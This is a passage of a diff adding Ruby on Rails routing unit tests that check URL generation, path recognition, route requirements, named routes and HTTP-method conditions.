+        map.connect ':controller/:action/:id'
+      end
+
+      assert_equal '/page/20', rs.generate({:id => 20}, {:controller => 'pages', :action => 'show'})
+      assert_equal '/page/20', rs.generate(:controller => 'pages', :id => 20, :action => 'show')
+      assert_equal '/pages/boo', rs.generate(:controller => 'pages', :action => 'boo')
+    end
+
+    def test_route_with_fixnum_default
+      rs.draw do |map|
+        map.connect 'page/:id', :controller => 'content', :action => 'show_page', :id => 1
+        map.connect ':controller/:action/:id'
+      end
+
+      assert_equal '/page', rs.generate(:controller => 'content', :action => 'show_page')
+      assert_equal '/page', rs.generate(:controller => 'content', :action => 'show_page', :id => 1)
+      assert_equal '/page', rs.generate(:controller => 'content', :action => 'show_page', :id => '1')
+      assert_equal '/page/10', rs.generate(:controller => 'content', :action => 'show_page', :id => 10)
+
+      assert_equal({:controller => "content", :action => 'show_page', :id => '1'}, rs.recognize_path("/page"))
+      assert_equal({:controller => "content", :action => 'show_page', :id => '1'}, rs.recognize_path("/page/1"))
+      assert_equal({:controller => "content", :action => 'show_page', :id => '10'}, rs.recognize_path("/page/10"))
+    end
+
+    # For newer revision
+    def test_route_with_text_default
+      rs.draw do |map|
+        map.connect 'page/:id', :controller => 'content', :action => 'show_page', :id => 1
+        map.connect ':controller/:action/:id'
+      end
+
+      assert_equal '/page/foo', rs.generate(:controller => 'content', :action => 'show_page', :id => 'foo')
+      assert_equal({:controller => "content", :action => 'show_page', :id => 'foo'}, rs.recognize_path("/page/foo"))
+
+      token = "\321\202\320\265\320\272\321\201\321\202" # 'text' in russian
+      escaped_token = CGI::escape(token)
+
+      assert_equal '/page/' + escaped_token, rs.generate(:controller => 'content', :action => 'show_page', :id => token)
+      assert_equal({:controller => "content", :action => 'show_page', :id => token}, rs.recognize_path("/page/#{escaped_token}"))
+    end
+
+    def test_action_expiry
+      assert_equal '/content', rs.generate({:controller => 'content'}, {:controller => 'content', :action => 'show'})
+    end
+
+    def test_recognition_with_uppercase_controller_name
+      assert_equal({:controller => "content", :action => 'index'}, rs.recognize_path("/Content"))
+      assert_equal({:controller => "content", :action => 'list'}, rs.recognize_path("/ConTent/list"))
+      assert_equal({:controller => "content", :action => 'show', :id => '10'}, rs.recognize_path("/CONTENT/show/10"))
+
+      # these used to work, before the routes rewrite, but support for this was pulled in the new version...
+      #assert_equal({'controller' => "admin/news_feed", 'action' => 'index'}, rs.recognize_path("Admin/NewsFeed"))
+      #assert_equal({'controller' => "admin/news_feed", 'action' => 'index'}, rs.recognize_path("Admin/News_Feed"))
+    end
+
+    def test_requirement_should_prevent_optional_id
+      rs.draw do |map|
+        map.post 'post/:id', :controller=> 'post', :action=> 'show', :requirements => {:id => /\d+/}
+      end
+
+      assert_equal '/post/10', rs.generate(:controller => 'post', :action => 'show', :id => 10)
+
+      assert_raises ActionController::RoutingError do
+        rs.generate(:controller => 'post', :action => 'show')
+      end
+    end
+
+    def test_both_requirement_and_optional
+      rs.draw do |map|
+        map.blog('test/:year', :controller => 'post', :action => 'show',
+          :defaults => { :year => nil },
+          :requirements => { :year => /\d{4}/ }
+        )
+        map.connect ':controller/:action/:id'
+      end
+
+      assert_equal '/test', rs.generate(:controller => 'post', :action => 'show')
+      assert_equal '/test', rs.generate(:controller => 'post', :action => 'show', :year => nil)
+
+      x = setup_for_named_route
+      assert_equal("http://named.route.test/test",
+                   x.send(:blog_url))
+    end
+
+    def test_set_to_nil_forgets
+      rs.draw do |map|
+        map.connect 'pages/:year/:month/:day', :controller => 'content', :action => 'list_pages', :month => nil, :day => nil
+        map.connect ':controller/:action/:id'
+      end
+
+      assert_equal '/pages/2005',
+        rs.generate(:controller => 'content', :action => 'list_pages', :year => 2005)
+      assert_equal '/pages/2005/6',
+        rs.generate(:controller => 'content', :action => 'list_pages', :year => 2005, :month => 6)
+      assert_equal '/pages/2005/6/12',
+        rs.generate(:controller => 'content', :action => 'list_pages', :year => 2005, :month => 6, :day => 12)
+
+      assert_equal '/pages/2005/6/4',
+        rs.generate({:day => 4}, {:controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12'})
+
+      assert_equal '/pages/2005/6',
+        rs.generate({:day => nil}, {:controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12'})
+
+      assert_equal '/pages/2005',
+        rs.generate({:day => nil, :month => nil}, {:controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12'})
+    end
+
+    def test_url_with_no_action_specified
+      rs.draw do |map|
+        map.connect '', :controller => 'content'
+        map.connect ':controller/:action/:id'
+      end
+
+      assert_equal '/', rs.generate(:controller => 'content', :action => 'index')
+      assert_equal '/', rs.generate(:controller => 'content')
+    end
+
+    def test_named_url_with_no_action_specified
+      rs.draw do |map|
+        map.home '', :controller => 'content'
+        map.connect ':controller/:action/:id'
+      end
+
+      assert_equal '/', rs.generate(:controller => 'content', :action => 'index')
+      assert_equal '/', rs.generate(:controller => 'content')
+
+      x = setup_for_named_route
+      assert_equal("http://named.route.test/",
+                   x.send(:home_url))
+    end
+
+    def test_url_generated_when_forgetting_action
+      [{:controller => 'content', :action => 'index'}, {:controller => 'content'}].each do |hash|
+        rs.draw do |map|
+          map.home '', hash
+          map.connect ':controller/:action/:id'
+        end
+        assert_equal '/', rs.generate({:action => nil}, {:controller => 'content', :action => 'hello'})
+        assert_equal '/', rs.generate({:controller => 'content'})
+        assert_equal '/content/hi', rs.generate({:controller => 'content', :action => 'hi'})
+      end
+    end
+
+    def test_named_route_method
+      rs.draw do |map|
+        map.categories 'categories', :controller => 'content', :action => 'categories'
+        map.connect ':controller/:action/:id'
+      end
+
+      assert_equal '/categories', rs.generate(:controller => 'content', :action => 'categories')
+      assert_equal '/content/hi', rs.generate({:controller => 'content', :action => 'hi'})
+    end
+
+    def test_named_routes_array
+      test_named_route_method
+      assert_equal [:categories], rs.named_routes.names
+    end
+
+    def test_nil_defaults
+      rs.draw do |map|
+        map.connect 'journal',
+          :controller => 'content',
+          :action => 'list_journal',
+          :date => nil, :user_id => nil
+        map.connect ':controller/:action/:id'
+      end
+
+      assert_equal '/journal', rs.generate(:controller => 'content', :action => 'list_journal', :date => nil, :user_id => nil)
+    end
+
+    def setup_request_method_routes_for(method)
+      @request = ActionController::TestRequest.new
+      @request.env["REQUEST_METHOD"] = method
+      @request.request_uri = "/match"
+
+      rs.draw do |r|
+        r.connect '/match', :controller => 'books', :action => 'get', :conditions => { :method => :get }
+        r.connect '/match', :controller => 'books', :action => 'post', :conditions => { :method => :post }
+        r.connect '/match', :controller => 'books', :action => 'put', :conditions => { :method => :put }
+        r.connect '/match', :controller => 'books', :action => 'delete', :conditions => { :method => :delete }
+      end
+    end
+
+    %w(GET POST PUT DELETE).each do |request_method|
+      define_method("test_request_method_recognized_with_#{request_method}") do
+        begin
+          Object.const_set(:BooksController, Class.new(ActionController::Base))
+
+          setup_request_method_routes_for(request_method)
+
+          assert_nothing_raised { rs.recognize(@request) }
+          assert_equal request_method.downcase, @request.path_parameters[:action]
+        ensure
+          Object.send(:remove_const, :BooksController) rescue nil
+        end
+      end
+    end
+
+    def test_recognize_array_of_methods
+      Object.const_set(:BooksController, Class.new(ActionController::Base))
+      rs.draw do |r|
+        r.connect '/match', :controller => 'books', :action => 'get_or_post', :conditions => { :method => [:get, :post] }
+        r.connect '/match', :controller => 'books', :action => 'not_get_or_post'
+      end
+
+      @request = ActionController::TestRequest.new
+      @request.env["REQUEST_METHOD"] = 'POST'
+      @request.request_uri = "/match"
+      assert_nothing_raised { rs.recognize(@request) }
+      assert_equal 'get_or_post', @request.path_parameters[:action]
+
+      # have to recreate or else the RouteSet uses a cached version:
+      @request = ActionController::TestRequest.new
+      @request.env["REQUEST_METHOD"] = 'PUT'
+      @request.request_uri = "/match"
+      assert_nothing_raised { rs.recognize(@request) }
+      assert_equal 'not_get_or_post', @request.path_parameters[:action]
+    ensure
+      Object.send(:remove_const, :BooksController) rescue nil
+    end
+
+    def test_subpath_recognized
+      Object.const_set(:SubpathBooksController, Class.new(ActionController::Base))
+
+      rs.draw do |r|
+        r.connect '/books/:id/edit', :controller => 'subpath_books', :action => 'edit'
+        r.connect '/items/:id/:action', :controller => 'subpath_books'
+        r.connect '/posts/new/:action', :controller => 'subpath_books'
+        r.connect '/posts/:id', :controller => 'subpath_books', :action => "show"
+      end
+
+      hash = rs.recognize_path "/books/17/edit"
+      assert_not_nil hash
+      assert_equal %w(subpath_books 17 edit), [hash[:controller], hash[:id], hash[:action]]
+
+      hash = rs.recognize_path "/items/3/complete"
+      assert_not_nil hash
+      assert_equal %w(subpath_books 3 complete), [hash[:controller], hash[:id], hash[:action]]
+
+      hash = rs.recognize_path "/posts/new/preview"
+      assert_not_nil hash
+      assert_equal %w(subpath_books preview), [hash[:controller], hash[:action]]
+
+      hash = rs.recognize_path "/posts/7"
+      assert_not_nil hash
+      assert_equal %w(subpath_books show 7), [hash[:controller], hash[:action], hash[:id]]
+    ensure
+      Object.send(:remove_const, :SubpathBooksController) rescue nil
+    end
+
+    def test_subpath_generated
+      Object.const_set(:SubpathBooksController, Class.new(ActionController::Base))
+
+      rs.draw do |r|
+        r.connect '/books/:id/edit', :controller => 'subpath_books', :action => 'edit'
+        r.connect '/items/:id/:action', :controller => 'subpath_books'
+        r.connect '/posts/new/:action', :controller => 'subpath_books'
+      end
+
+      assert_equal "/books/7/edit", rs.generate(:controller => "subpath_books", :id => 7, :action => "edit")
+      assert_equal "/items/15/complete", rs.generate(:controller => "subpath_books", :id => 15, :action => "complete")
+      assert_equal "/posts/new/preview", rs.generate(:controller => "subpath_books", :action => "preview")
+    ensure
+      Object.send(:remove_const, :SubpathBooksController) rescue nil
+    end
+
+    def test_failed_requirements_raises_exception_with_violated_requirements
+      rs.draw do |r|
+        r.foo_with_requirement 'foos/:id', :controller=>'foos', :requirements=>{:id=>/\d+/}
+      end
+
+      x = setup_for_named_route
+      assert_raises(ActionController::RoutingError) do
+        x.send(:foo_with_requirement_url, "I am Against the requirements")
+      end
+    end
+
+    def test_routes_changed_correctly_after_clear
+      ActionController::Base.optimise_named_routes = true
+      rs = ::ActionController::Routing::RouteSet.new
+      rs.draw do |r|
+        r.connect 'ca', :controller => 'ca', :action => "aa"
+        r.connect 'cb', :controller => 'cb', :action => "ab"
+        r.connect 'cc', :controller => 'cc', :action => "ac"
+        r.connect ':controller/:action/:id'
+        r.connect ':controller/:action/:id.:format'
+      end
+
+      hash = rs.recognize_path "/cc"
+
+      assert_not_nil hash
+      assert_equal %w(cc ac), [hash[:controller], hash[:action]]
+
+      rs.draw do |r|
+        r.connect 'cb', :controller => 'cb', :action => "ab"
+        r.connect 'cc', :controller => 'cc', :action => "ac"
+        r.connect ':controller/:action/:id'
+        r.connect ':controller/:action/:id.:format'
+      end
+
+      hash = rs.recognize_path "/cc"
+
+      assert_not_nil hash
+      assert_equal %w(cc ac), [hash[:controller], hash[:action]]
+
+    end
+  end
+
+  class RouteTest < Test::Unit::TestCase
+    def setup
+      @route = ROUTING::Route.new
+    end
+
+    def slash_segment(is_optional = false)
+      ROUTING::DividerSegment.new('/', :optional => is_optional)
+    end
+
+    def default_route
+      unless defined?(@default_route)
+        segments = []
+        segments << ROUTING::StaticSegment.new('/', :raw => true)
+        segments << ROUTING::DynamicSegment.new(:controller)
+        segments << slash_segment(:optional)
+        segments << ROUTING::DynamicSegment.new(:action, :default => 'index', :optional => true)
+        segments << slash_segment(:optional)
+        segments << ROUTING::DynamicSegment.new(:id, :optional => true)
+        segments << slash_segment(:optional)
+        @default_route = ROUTING::Route.new(segments).freeze
+      end
+      @default_route
+    end
+
+    def test_default_route_recognition
+      expected = {:controller => 'accounts', :action => 'show', :id => '10'}
+      assert_equal expected, default_route.recognize('/accounts/show/10')
+      assert_equal expected, default_route.recognize('/accounts/show/10/')
+
+      expected[:id] = 'jamis'
+      assert_equal expected, default_route.recognize('/accounts/show/jamis/')
+
+      expected.delete :id
+      assert_equal expected, default_route.recognize('/accounts/show')
+      assert_equal expected, default_route.recognize('/accounts/show/')
+
+      expected[:action] = 'index'
+      assert_equal expected, default_route.recognize('/accounts/')
+      assert_equal expected, default_route.recognize('/accounts')
+
+      assert_equal nil, default_route.recognize('/')
+      assert_equal nil, default_route.recognize('/accounts/how/goood/it/is/to/be/free')
+    end
+
+    def test_default_route_should_omit_default_action
+      o = {:controller => 'accounts', :action => 'index'}
+      assert_equal '/accounts', default_route.generate(o, o, {})
+    end
+
+    def test_default_route_should_include_default_action_when_id_present
+      o = {:controller => 'accounts', :action => 'index', :id => '20'}
+      assert_equal '/accounts/index/20', default_route.generate(o, o, {})
+    end
+
+    def test_default_route_should_work_with_action_but_no_id
+      o = {:controller => 'accounts', :action => 'list_all'}
+      assert_equal '/accounts/list_all', default_route.generate(o, o, {})
+    end
+
+    def test_default_route_should_uri_escape_pluses
+      expected = { :controller => 'accounts', :action => 'show', :id => 'hello world' }
+      assert_equal expected, default_route.recognize('/accounts/show/hello world')
+      assert_equal expected, default_route.recognize('/accounts/show/hello%20world')
+      assert_equal '/accounts/show/hello%20world', default_route.generate(expected, expected, {})
+
+      expected[:id] = 'hello+world'
+      assert_equal expected, default_route.recognize('/accounts/show/hello+world')
+      assert_equal expected, default_route.recognize('/accounts/show/hello%2Bworld')
+      assert_equal '/accounts/show/hello+world', default_route.generate(expected, expected, {})
+    end
+
+    def test_matches_controller_and_action
+      # requirement_for should only be called for the action and controller _once_
+      @route.expects(:requirement_for).with(:controller).times(1).returns('pages')
+      @route.expects(:requirement_for).with(:action).times(1).returns('show')
+
+      @route.requirements = {:controller => 'pages', :action => 'show'}
+      assert @route.matches_controller_and_action?('pages', 'show')
+      assert [email protected]_controller_and_action?('not_pages', 'show')
+      assert [email protected]_controller_and_action?('pages', 'not_show')
+    end
+
+    def test_parameter_shell
+      page_url = ROUTING::Route.new
+      page_url.requirements = {:controller => 'pages', :action => 'show', :id => /\d+/}
+      assert_equal({:controller => 'pages', :action => 'show'}, page_url.parameter_shell)
+    end
+
+    def test_defaults
+      route = ROUTING::RouteBuilder.new.build '/users/:id.:format', :controller => "users", :action => "show", :format => "html"
+      assert_equal(
+        { :controller => "users", :action => "show", :format => "html" },
+        route.defaults)
+    end
+
+    def test_builder_complains_without_controller
+      assert_raises(ArgumentError) do
+        ROUTING::RouteBuilder.new.build '/contact', :contoller => "contact", :action => "index"
+      end
+    end
+
+    def test_significant_keys_for_default_route
+      keys = default_route.significant_keys.sort_by {|k| k.to_s }
+      assert_equal [:action, :controller, :id], keys
+    end
+
+    def test_significant_keys
+      segments = []
+      segments << ROUTING::StaticSegment.new('/', :raw => true)
+      segments << ROUTING::StaticSegment.new('user')
+      segments << ROUTING::StaticSegment.new('/', :raw => true, :optional => true)
+      segments << ROUTING::DynamicSegment.new(:user)
+      segments << ROUTING::StaticSegment.new('/', :raw => true, :optional => true)
+
+      requirements = {:controller => 'users', :action => 'show'}
+
+      user_url = ROUTING::Route.new(segments, requirements)
+      keys = user_url.significant_keys.sort_by { |k| k.to_s }
+      assert_equal [:action, :controller, :user], keys
+    end
+
+    def test_build_empty_query_string
+      assert_equal '', @route.build_query_string({})
+    end
+
+    def test_build_query_string_with_nil_value
+      assert_equal '', @route.build_query_string({:x => nil})
+    end
+
+    def test_simple_build_query_string
+      assert_equal '?x=1&y=2', order_query_string(@route.build_query_string(:x => '1', :y => '2'))
+    end
+
+    def test_convert_ints_build_query_string
+      assert_equal '?x=1&y=2', order_query_string(@route.build_query_string(:x => 1, :y => 2))
+    end
+
+    def test_escape_spaces_build_query_string
+      assert_equal '?x=hello+world&y=goodbye+world', order_query_string(@route.build_query_string(:x => 'hello world', :y => 'goodbye world'))
+    end
+
+    def test_expand_array_build_query_string
+      assert_equal '?x%5B%5D=1&x%5B%5D=2', order_query_string(@route.build_query_string(:x => [1, 2]))
+    end
+
+    def test_escape_spaces_build_query_string_selected_keys
+      assert_equal '?x=hello+world', order_query_string(@route.build_query_string({:x => 'hello world', :y => 'goodbye world'}, [:x]))
+    end
+
+    private
+      def order_query_string(qs)
+        '?' + qs[1..-1].split('&').sort.join('&')
+      end
+  end
+
+  class RouteSetTest < Test::Unit::TestCase
+    def set
+      @set ||= ROUTING::RouteSet.new
+    end
+
+    def request
+      @request ||= MockRequest.new(:host => "named.routes.test", :method => :get)
+    end
+
+    def test_generate_extras
+      set.draw { |m| m.connect ':controller/:action/:id' }
+      path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
+      assert_equal "/foo/bar/15", path
+      assert_equal %w(that this), extras.map(&:to_s).sort
+    end
+
+    def test_extra_keys
+      set.draw { |m| m.connect ':controller/:action/:id' }
+      extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
+      assert_equal %w(that this), extras.map(&:to_s).sort
+    end
+
+    def test_generate_extras_not_first
+      set.draw do |map|
+        map.connect ':controller/:action/:id.:format'
+        map.connect ':controller/:action/:id'
+      end
+      path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
+      assert_equal "/foo/bar/15", path
+      assert_equal %w(that this), extras.map(&:to_s).sort
+    end
+
+    def test_generate_not_first
+      set.draw do |map|
+        map.connect ':controller/:action/:id.:format'
+        map.connect ':controller/:action/:id'
+      end
+      assert_equal "/foo/bar/15?this=hello", set.generate(:controller => "foo", :action => "bar", :id => 15, :this => "hello")
+    end
+
+    def test_extra_keys_not_first
+      set.draw do |map|
+        map.connect ':controller/:action/:id.:format'
+        map.connect ':controller/:action/:id'
+      end
+      extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
+      assert_equal %w(that this), extras.map(&:to_s).sort
+    end
+
+    def test_draw
+      assert_equal 0, set.routes.size
+      set.draw do |map|
+        map.connect '/hello/world', :controller => 'a', :action => 'b'
+      end
+      assert_equal 1, set.routes.size
+    end
+
+    def test_named_draw
+      assert_equal 0, set.routes.size
+      set.draw do |map|
+        map.hello '/hello/world', :controller => 'a', :action => 'b'
+      end
+      assert_equal 1, set.routes.size
+      assert_equal set.routes.first, set.named_routes[:hello]
+    end
+
+    def test_later_named_routes_take_precedence
+      set.draw do |map|
+        map.hello '/hello/world', :controller => 'a', :action => 'b'
+        map.hello '/hello', :controller => 'a', :action => 'b'
+      end
+      assert_equal set.routes.last, set.named_routes[:hello]
+    end
+
+    def setup_named_route_test
+      set.draw do |map|
+        map.show '/people/:id', :controller => 'people', :action => 'show'
+        map.index '/people', :controller => 'people', :action => 'index'
+        map.multi '/people/go/:foo/:bar/joe/:id', :controller => 'people', :action => 'multi'
+        map.users '/admin/users', :controller => 'admin/users', :action => 'index'
+      end
+
+      klass = Class.new(MockController)
+      set.install_helpers(klass)
+      klass.new(set)
+    end
+
+    def test_named_route_hash_access_method
+      controller = setup_named_route_test
+
+      assert_equal(
+        { :controller => 'people', :action => 'show', :id => 5, :use_route => :show, :only_path => false },
+        controller.send(:hash_for_show_url, :id => 5))
+
+      assert_equal(
+        { :controller => 'people', :action => 'index', :use_route => :index, :only_path => false },
+        controller.send(:hash_for_index_url))
+
+      assert_equal(
+        { :controller => 'people', :action => 'show', :id => 5, :use_route => :show, :only_path => true },
+        controller.send(:hash_for_show_path, :id => 5)
+      )
+    end
+
+    def test_named_route_url_method
+      controller = setup_named_route_test
+
+      assert_equal "http://named.route.test/people/5", controller.send(:show_url, :id => 5)
+      assert_equal "/people/5", controller.send(:show_path, :id => 5)
+
+      assert_equal "http://named.route.test/people", controller.send(:index_url)
+      assert_equal "/people", controller.send(:index_path)
+
+      assert_equal "http://named.route.test/admin/users", controller.send(:users_url)
+      assert_equal '/admin/users', controller.send(:users_path)
+      assert_equal '/admin/users', set.generate(controller.send(:hash_for_users_url), {:controller => 'users', :action => 'index'})
+    end
+
+    def test_named_route_url_method_with_anchor
+      controller = setup_named_route_test
+
+      assert_equal "http://named.route.test/people/5#location", controller.send(:show_url, :id => 5, :anchor => 'location')
+      assert_equal "/people/5#location", controller.send(:show_path, :id => 5, :anchor => 'location')
+
+      assert_equal "http://named.route.test/people#location", controller.send(:index_url, :anchor => 'location')
+      assert_equal "/people#location", controller.send(:index_path, :anchor => 'location')
+
+      assert_equal "http://named.route.test/admin/users#location", controller.send(:users_url, :anchor => 'location')
+      assert_equal '/admin/users#location', controller.send(:users_path, :anchor => 'location')
+
+      assert_equal "http://named.route.test/people/go/7/hello/joe/5#location",
+        controller.send(:multi_url, 7, "hello", 5, :anchor => 'location')
+
+      assert_equal "http://named.route.test/people/go/7/hello/joe/5?baz=bar#location",
+        controller.send(:multi_url, 7, "hello", 5, :baz => "bar", :anchor => 'location')
+
+      assert_equal "http://named.route.test/people?baz=bar#location",
+        controller.send(:index_url, :baz => "bar", :anchor => 'location')
+    end
+
+    def test_named_route_url_method_with_port
+      controller = setup_named_route_test
+      assert_equal "http://named.route.test:8080/people/5", controller.send(:show_url, 5, :port=>8080)
+    end
+
+    def test_named_route_url_method_with_host
+      controller = setup_named_route_test
+      assert_equal "http://some.example.com/people/5", controller.send(:show_url, 5, :host=>"some.example.com")
+    end
+
+    def test_named_route_url_method_with_protocol
+      controller = setup_named_route_test
+      assert_equal "https://named.route.test/people/5", controller.send(:show_url, 5, :protocol => "https")
+    end
+
+    def test_named_route_url_method_with_ordered_parameters
+      controller = setup_named_route_test
+      assert_equal "http://named.route.test/people/go/7/hello/joe/5",
+        controller.send(:multi_url, 7, "hello", 5)
+    end
+
+    def test_named_route_url_method_with_ordered_parameters_and_hash
+      controller = setup_named_route_test
+      assert_equal "http://named.route.test/people/go/7/hello/joe/5?baz=bar",
+        controller.send(:multi_url, 7, "hello", 5, :baz => "bar")
+    end
+
+    def test_named_route_url_method_with_ordered_parameters_and_empty_hash
+      controller = setup_named_route_test
+      assert_equal "http://named.route.test/people/go/7/hello/joe/5",
+        controller.send(:multi_url, 7, "hello", 5, {})
+    end
+
+    def test_named_route_url_method_with_no_positional_arguments
+      controller = setup_named_route_test
+      assert_equal "http://named.route.test/people?baz=bar",
+        controller.send(:index_url, :baz => "bar")
+    end
+
+    def test_draw_default_route
+      ActionController::Routing.with_controllers(['users']) do
+        set.draw do |map|
+          map.connect '/:controller/:action/:id'
+        end
+
+        assert_equal 1, set.routes.size
+        route = set.routes.first
+
+        assert route.segments.last.optional?
+
+        assert_equal '/users/show/10', set.generate(:controller => 'users', :action => 'show', :id => 10)
+        assert_equal '/users/index/10', set.generate(:controller => 'users', :id => 10)
+
+        assert_equal({:controller => 'users', :action => 'index', :id => '10'}, set.recognize_path('/users/index/10'))
+        assert_equal({:controller => 'users', :action => 'index', :id => '10'}, set.recognize_path('/users/index/10/'))
+      end
+    end
+
+    def test_draw_default_route_with_default_controller
+      ActionController::Routing.with_controllers(['users']) do
+        set.draw do |map|
+          map.connect '/:controller/:action/:id', :controller => 'users'
+        end
+        assert_equal({:controller => 'users', :action => 'index'}, set.recognize_path('/'))
+      end
+    end
+
+    def test_route_with_parameter_shell
+      ActionController::Routing.with_controllers(['users', 'pages']) do
+        set.draw do |map|
+          map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+/
+          map.connect '/:controller/:action/:id'
+        end
+
+        assert_equal({:controller => 'pages', :action => 'index'}, set.recognize_path('/pages'))
+        assert_equal({:controller => 'pages', :action => 'index'}, set.recognize_path('/pages/index'))
+        assert_equal({:controller => 'pages', :action => 'list'}, set.recognize_path('/pages/list'))
+
+        assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/pages/show/10'))
+        assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/page/10'))
+      end
+    end
+
+    def test_route_requirements_with_anchor_chars_are_invalid
+      assert_raises ArgumentError do
+        set.draw do |map|
+          map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /^\d+/
+        end
+      end
+      assert_raises ArgumentError do
+        set.draw do |map|
+          map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\A\d+/
+        end
+      end
+      assert_raises ArgumentError do
+        set.draw do |map|
+          map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+$/
+        end
+      end
+      assert_raises ArgumentError do
+        set.draw do |map|
+          map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+\Z/
+        end
+      end
+      assert_raises ArgumentError do
+        set.draw do |map|
+          map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+\z/
+        end
+      end
+      assert_nothing_raised do
+        set.draw do |map|
+          map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+/, :name => /^(david|jamis)/
+        end
+        assert_raises ActionController::RoutingError do
+          set.generate :controller => 'pages', :action => 'show', :id => 10
+        end
+      end
+    end
+
+    def test_route_requirements_with_invalid_http_method_is_invalid
+      assert_raises ArgumentError do
+        set.draw do |map|
+          map.connect 'valid/route', :controller => 'pages', :action => 'show', :conditions => {:method => :invalid}
+        end
+      end
+    end
+
+    def test_route_requirements_with_head_method_condition_is_invalid
+      assert_raises ArgumentError do
+        set.draw do |map|
+          map.connect 'valid/route', :controller => 'pages', :action => 'show', :conditions => {:method => :head}
+        end
+      end
+    end
+
+    def test_non_path_route_requirements_match_all
+      set.draw do |map|
+        map.connect 'page/37s', :controller => 'pages', :action => 'show', :name => /(jamis|david)/
+      end
+      assert_equal '/page/37s', set.generate(:controller => 'pages', :action => 'show', :name => 'jamis')
+      assert_raises ActionController::RoutingError do
+        set.generate(:controller => 'pages', :action => 'show', :name => 'not_jamis')
+      end
+      assert_raises ActionController::RoutingError do
+        set.generate(:controller => 'pages', :action => 'show', :name => 'nor_jamis_and_david')
+      end
+    end
+
+    def test_recognize_with_encoded_id_and_regex
+      set.draw do |map|
+        map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /[a-zA-Z0-9\+]+/
+      end
+
+      assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/page/10'))
+      assert_equal({:controller => 'pages', :action => 'show', :id => 'hello+world'}, set.recognize_path('/page/hello+world'))
+    end
+
+    def test_recognize_with_conditions
+      Object.const_set(:PeopleController, Class.new)
+
+      set.draw do |map|
+        map.with_options(:controller => "people") do |people|
+          people.people  "/people",     :action => "index",   :conditions => { :method => :get }
+          people.connect "/people",     :action => "create",  :conditions => { :method => :post }
+          people.person  "/people/:id", :action => "show",    :conditions => { :method => :get }
+          people.connect "/people/:id", :action => "update",  :conditions => { :method => :put }
+          people.connect "/people/:id", :action => "destroy", :conditions => { :method => :delete }
+        end
+      end
+
+      request.path = "/people"
+      request.method = :get
+      assert_nothing_raised { set.recognize(request) }
+      assert_equal("index", request.path_parameters[:action])
+
+      request.method = :post
+      assert_nothing_raised { set.recognize(request) }
+      assert_equal("create", request.path_parameters[:action])
+
+      request.method = :put
+      assert_nothing_raised { set.recognize(request) }
+      assert_equal("update", request.path_parameters[:action])
+
+      begin
+        request.method = :bacon
+        set.recognize(request)
+        flunk 'Should have raised NotImplemented'
+      rescue ActionController::NotImplemented => e
+        assert_equal [:get, :post, :put, :delete], e.allowed_methods
+      end
+
+      request.path = "/people/5"
+      request.method = :get
+      assert_nothing_raised { set.recognize(request) }
+      assert_equal("show", request.path_parameters[:action])
+      assert_equal("5", request.path_parameters[:id])
+
+      request.method = :put
+      assert_nothing_raised { set.recognize(request) }
+      assert_equal("update", request.path_parameters[:action])
+      assert_equal("5", request.path_parameters[:id])
+
+      request.method = :delete
+      assert_nothing_raised { set.recognize(request) }
+      assert_equal("destroy", request.path_parameters[:action])
+      assert_equal("5", request.path_parameters[:id])
+
+      begin
+        request.method = :post
+        set.recognize(request)
+        flunk 'Should have raised MethodNotAllowed'
+      rescue ActionController::MethodNotAllowed => e
+        assert_equal [:get, :put, :delete], e.allowed_methods
+      end
+
+    ensure
+      Object.send(:remove_const, :PeopleController)
+    end
+
+    def test_recognize_with_alias_in_conditions
+      Object.const_set(:PeopleController, Class.new)
+
+      set.draw do |map|
+        map.people "/people", :controller => 'people', :action => "index",
+          :conditions => { :method => :get }
+        map.root   :people
+      end
+
+      request.path = "/people"
+      request.method = :get
+      assert_nothing_raised { set.recognize(request) }
+      assert_equal("people", request.path_parameters[:controller])
+      assert_equal("index", request.path_parameters[:action])
+
+      request.path = "/"
+      request.method = :get
+      assert_nothing_raised { set.recognize(request) }
+      assert_equal("people", request.path_parameters[:controller])
+      assert_equal("index", request.path_parameters[:action])
+    ensure
+      Object.send(:remove_const, :PeopleController)
+    end
+
+    def test_typo_recognition
+      Object.const_set(:ArticlesController, Class.new)
+
+      set.draw do |map|
+        map.connect 'articles/:year/:month/:day/:title',
+               :controller => 'articles', :action => 'permalink',
+               :year => /\d{4}/, :day => /\d{1,2}/, :month => /\d{1,2}/
+      end
+
+      request.path = "/articles/2005/11/05/a-very-interesting-article"
+      request.method = :get
+      assert_nothing_raised { set.recognize(request) }
+      assert_equal("permalink", request.path_parameters[:action])
+      assert_equal("2005", request.path_parameters[:year])
+      assert_equal("11", request.path_parameters[:month])
+      assert_equal("05", request.path_parameters[:day])
+      assert_equal("a-very-interesting-article", request.path_parameters[:title])
+
+    ensure
+      Object.send(:remove_const, :ArticlesController)
+    end
+
+    def test_routing_traversal_does_not_load_extra_classes
+      assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
+      set.draw do |map|
+        map.connect '/profile', :controller => 'profile'
+      end
+
+      request.path = '/profile'
+
+      set.recognize(request) rescue nil
+
+      assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
+    end
+
+    def test_recognize_with_conditions_and_format
+      Object.const_set(:PeopleController, Class.new)
+
+      set.draw do |map|
+        map.with_options(:controller => "people") do |people|
+          people.person  "/people/:id", :action => "show",    :conditions => { :method => :get }
+          people.connect "/people/:id", :action => "update",  :conditions => { :method => :put }
